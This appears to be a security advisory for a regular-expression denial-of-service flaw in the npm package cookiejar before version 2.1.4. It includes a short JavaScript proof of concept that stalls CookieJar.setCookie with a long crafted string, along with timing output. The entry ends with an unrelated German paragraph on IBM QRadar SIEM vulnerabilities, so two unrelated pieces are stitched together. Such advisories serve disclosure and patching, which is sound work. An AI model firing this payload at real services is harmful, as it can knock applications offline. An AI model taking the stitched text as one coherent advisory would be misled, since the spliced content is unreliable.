Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function, which uses an insecure regular expression.

Affected: npm: cookiejar, Maven: org.webjars.npm:cookiejar

Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `Cookie.parse` function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.

Proof of concept:

``` ts\nconst { CookieJar } = require("cookiejar");

const jar = new CookieJar();

const start = performance.now();

const attack = "a" + "t".repeat(50_000); jar.setCookie(attack);

console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);

```

``` CookieJar.setCookie(): 2963.214399999939ms ```

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM QRadar SIEM ausnutzen, um beliebigen Programmcode auszuführen, Informationen offenzulegen, Informationen falsch darzustellen, einen Denial of Service Zustand herbeizuführen, Sicherheitsvorkehrungen zu umgehen, einen Cross-Site-Scripting-Angriff durchzuführen oder unbekannte Auswirkungen zu verursachen.